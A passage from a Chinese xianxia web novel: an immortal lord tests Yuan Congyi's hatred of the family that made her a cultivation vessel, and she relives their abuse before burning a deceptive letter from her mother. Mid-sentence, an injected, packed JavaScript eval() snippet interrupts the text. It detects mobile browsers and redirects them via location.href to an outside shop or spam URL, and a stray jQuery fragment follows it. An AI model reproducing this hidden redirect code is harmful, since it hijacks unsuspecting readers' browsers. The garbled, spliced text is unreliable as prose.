“未经应允,不得用丝线操控我,否则——”他的语气充满戾气,如同黑云般沉沉压了下来,“往后的日子,会比不入轮回更加痛苦。”
人在昏迷状态,被傀儡术操控更易被窥探记忆、攻破心防。仙君的神识强大心防难破,应是不希望自己的记忆被他人看到,因此方才也没有刻意去抵抗傀儡术,让她体验他的记忆幻象。
她大抵不会有机会了解仙君的过往经历。
元琮意低头应声:“是。”
她抬起头,看向那块试剑石上触目惊心的剑痕:“仙君万法皆精,既通剑术,又通傀儡之术,是如何做到的?”
仙君所通道术,应当比她知道的更多,不知要花多少年,才能练就今日的本事。
宿星裁盯着那块试剑石,沉默了半晌,似乎陷入了某种对过往的回忆。
而后斜眼看过来,眼神如淬了毒的刀锋般狠戾贴上她,“你对元家,就没有任何想法吗?”
方才被操控挣扎时的记忆因这句话重新翻涌到眼前,元琮意一滞,神情低落下来:“他们亦有苦衷。”
是有苦衷,如果换作她,她大概也会那样做的。
只是恰好,她是那只待宰的羔羊,被困牢笼、悬于刀口之下时无不想着忘却自己为人儿女的身份,不顾一切地脱下那层羊皮,用最尖利的牙齿去撕扯他们的血肉。
但她不能。
在仙君的考验面前,更不能。
宿星裁逼近了她,冷硬的声音里透出几分质问:“即使他们利欲熏心,懦弱无能,用你的性命来换取他们今世的长寿,争取来世的轮回?”
元琮意闭了闭眼睛的间隙,他的声音如恶魔夺命般追赶上来:“即使你要忍受所有人甚至是亲生父亲的觊觎,还要背负一桩送命的婚事?”
“即使你遭受那么多的不公和痛楚,只因为你是一个炉鼎?”
她后退了两步,更多的记忆浮现上来。
变成炉鼎后面临诸多困境,她不是没有想过逃命。
在她之上,分别有一位大哥,一位二姐。大哥年长她十八岁,只专心打理元家傀儡事务,对她的体质痛惜不已,对父母亲的决定虽不赞扬却也无异议;二姐初闻此消息悲恸万分,一直为她争取机会,最后却在数番受挫之下心灰意冷,摔门离家,已有七八年不见踪影,父母亲至今寻而不得。
而她独自守在那一方院子里,也尝试争取更多可能。
十来岁的小姑娘,有一种近乎疯狂的执着,坚信自己不光彩的印记能被其他耀眼的天赋掩盖,从而让事情发生转机。
她不时会偷偷爬上墙头,借着墙边柳树隐匿身形,盯着远处另一个院子里的大哥练武。
学傀儡术要掌握傀儡使用的十八般武艺,要学习的兵器身法也多,虽不如专攻的宗门精细,但生在数量繁多而范围广识。
她在心中默记了大哥的每一个动作,从墙头下来后就折了一枝柳条在手,将心中所记磕磕绊绊地演习一遍,就这样偷师学艺,直到她的身法动作行云流水,高高兴兴地向母亲展示时,以为自己能得来夸耀,再也不用被当成炉鼎嫁给纪家的病秧子。
母亲看后,非但没有夸赞,还派人将院中那棵柳树砍了:“为人做事,都要遵循自己的身份,纵使你旁类的修炼技艺再好,也不是你该做的事情。卓绝的资质反倒是你的炉鼎体质带来的益处,但身为炉鼎,注定要走合欢一脉的道途。意儿,这是天命,认清自己的位置,莫要痴心妄想。”
沉重的话语让她如遭冷水瓢泼,整个人凝固在地,双腿仿佛有千斤重。
院中柳树,轰然倒地。
她拒绝顺从,费劲了心思也只是被关入房间不得自由,自愿脱离元氏三小姐身份,换来的却是一顿家法酷刑。
养伤一年,她用香火供奉着上仙明烛,养了一只叫咕啾的灵鸟作伴。
等不来救赎,便自己谋划起了逃跑的主意。
半夜打点好一切,只是刚迈出元家,就被手握夜明珠、戴着弦铃手结的一群人团团围住。
领头的人是父亲,那个让她惧怕又禁不住产生厌恶感的人,他再次露出那副失望的神情,语气愤然:“元琮意,你为了一己私利置家族声名于不顾,真让为父失望,可若不是我早知你不安分,从水镜里及时发觉……你迟早被外面那些恶人拆吃入腹!”
母亲站在一旁,静静地看着她,带着一切了然的模样。
她这才知道,他们在她的院中隐蔽了几面水镜,她在院中的一举一动,早被知悉。
究竟谁才是恶人?
她不知道。
她看见父亲从身后伸出手,掏出了一只青羽灵鸟,正是她养的咕啾。
她不敢置信地回看自己的肩膀,原本的鸟儿不知何时被抓到了父亲手里,他冷笑一声:“八重寒鞭都没能将你这副硬骨头打断,也该让你尝尝别的苦头,你才懂得什么叫家规家法!”
“父亲!不要——”
眼泪霎时夺眶而出,随着那只恶手的收紧,陪伴她多年的灵鸟死在了她撕心裂肺的喊声之中。
那一瞬间迸发出来的恨意,排山倒海般将她淹没,她愿意做一个恶人,也想做那个罪大恶极的人,她巴不得将抛弃狗屁的纲常伦理,抛弃他们赠予她的生命,赌上一切和所有人同归于尽。
可她最后只是被绑得死紧,嘴里塞着一团布,呜呜咽咽地流泪,被扔回房间里,直到发不出任何声音。
元琮意眼底泛出红血丝,身体微微颤抖,像是竭力忍耐着什么,宿星裁将骨剑塞到她手里,握上了她的手。
他握着她的手带起骨剑,顺着试剑石上的沟壑剑痕,将锋刃深深嵌了进去:“你变得更强大之后,面对他们,就不想一洗过去的屈辱和仇恨吗?”
仿佛悬在头顶的最后一根麻线被点燃,一发不可收拾,元琮意的肩膀随着身体的颤抖剧烈起伏,握着骨剑的手背青筋凸起,猛地松开剑,一把推开了宿星裁。
她抬起头,眼底盈泪,带着怒意的眸光亮得惊人:“仙君一定要以这种方式来锻炼我的心性吗?”
宿星裁幽暗的神色凝滞了一瞬:“什么?”
元琮意看着他,浑身力气忽然泄气般一松。
仙君当真厉害,分明处处踩她痛脚,对她进行了近乎折磨的考验,演得浑然天成,不露破绽,又一副无事发生的样子。
她自知信仰不够纯粹,心中偶然会难以自抑地滋生邪思,明明已经将那些恨意囫囵吞下,不想离人的道路越来越远,仙君偏偏用严苛的考验对她赶尽杀绝,将她拉入泥潭。
她的恨,一旦有了想法,更加容易滋生落地。
她守候着心中唯一留下的、只面对明烛仙君一神的净土,反复净化自己的执念,企图让自己看起来体面些。
她恐慌自己干出罔顾伦常、大逆不道的事情,一旦开头便无回头路,染指而上,最后连对仙君的敬仰也脏得一塌糊涂。
光是抿平唇角就花费了极大的力气,元琮意深吸了一口气,汹涌的情绪沉寂下来:“强者立身,从来都不止复仇这一条路。既修得一身本领,更应去解救其他深陷苦难的人。六道停止轮回,便去让六道重新轮回,济世安民,而不是一味地沉溺于仇恨之中,任其蒙蔽自己。”
令人牙酸反胃的话语被她翻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525293|203460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来覆去地说,她又在撒谎。所有邪念压制下去,只堆砌成一个光风霁月的正人君子形象。
死板而乏味。
宿星裁的视线落在面前身形瘦弱的女子身上,难以辨清其中是否有过高崖上烈火般的影子,回想起她每次的说辞,第一次疑心自己的判断出了差错。
他的目光陡然冷了下去,语气像是蒙上了一层阴霾:“这么说来,我也是这等被仇恨蒙蔽、眼界狭小之辈。”
元琮意却不似先前那般巧舌如簧,浅声应道:“仙君说笑了。”
她微微低着头,恭敬地告退。等到风起,那阵沁人心脾的苦楝香从鼻间慢慢消散时,宿星裁才回过神来,她已经离开了。
没来由地生出一股不悦。
他低下头,看着手里那柄狰狞凶悍的骨剑,抬起剑柄放在鼻下,闻到一股还未完全逸散的苦楝清香。
他从袖中抽出一张素帕,擦拭着剑柄,脑海里却不自觉浮现出方才她捎带怒意的泪眼以及她说的话,若有所思。
……
习得了操控活物的方法,元琮意被嵌过丝线的地方还隐隐作痛,原路返回,不欲将过往的烦心事放在心上。
既然已经知道元家是因何弃她,也不必急于做什么决定,眼下最紧要的事,是尽快将自己的修为提上来,作为炉鼎行走在外遇人也要有抗衡之力。
至于和仙君的易骨之诺……
元琮意眼睫微敛,掩住了眸中晦暗的情绪。
她拐过长廊,却见自己房门前立着两道熟悉的身影,似乎在那里等候许久。
听见脚步声,两人当即转过身,李乘玉先行上前与她招呼:“元姑娘。”
也许是因那日的失态,何逊人虽到了,抿着唇不发一言,垂眼避过元琮意的目光。
相较之下,李乘玉要从容得多:“今日我们来,是想与你道个歉的。上次的事是我们的过错,我们道行不精,不应对仙君有如此恶意。”
既然是派来监视仙君的,不对付也是正常。只是无形之中,她已经被纳入了仙君的行列。
元琮意不介意。她摇了摇头:“斗过诸怀难比登天,揣度仙君虽为不敬,却也是人之常情。我们既知有错,纠正即可,不必耿耿于怀,何况还要携力战诸怀,还需几番同修演练。”
她的目光落到何逊身上,何逊仍是那副沉默不语、无精打采的模样。
“既如此,下回约见,我们便试炼试炼吧。”
道过歉后,李乘玉似乎安了心,带着何逊离去。
元琮意独自回到房中,坐到桌案前,摸出纸笔,想要记下今日傀儡术的训练要则,余光忽然瞥见,窗边的一点白色。
她重新起身,左右探头看窗外无人,将窗板放下,拿走了那卷小纸,在微光下细细展开。
这纸张小,密密麻麻的字挤在一起,在昏暗光线下看得头疼,可其上竟是许久未见的娟秀字迹:
“意儿,当日请仙大典是纪家遣人潜伏其中,你若逃脱已是万幸,奈何又遭那位掳走,我与你父亲忧心难安。不知你在怀阴山境况如何,听闻你彻底得罪了纪白檀,再经怀阴山一事,纪家不会再要你做炉鼎,而只想取你性命,于元家却也算个好消息。从前的事,母亲自知有错,若你归来,我们可在纪家面前为你假死脱身,只是我们无法入得怀阴山,只盼你设法离开,早日回到我们身边。”
一纸阅尽,元琮意扯了扯唇角,眼底泛出一丝冷意。
父亲母亲,还在骗她,却不知道,她已经得知了纪元两家背后真相。
到底也是意料之中。她面无表情,指尖燃起一簇火焰,将纸张燎烧殆尽。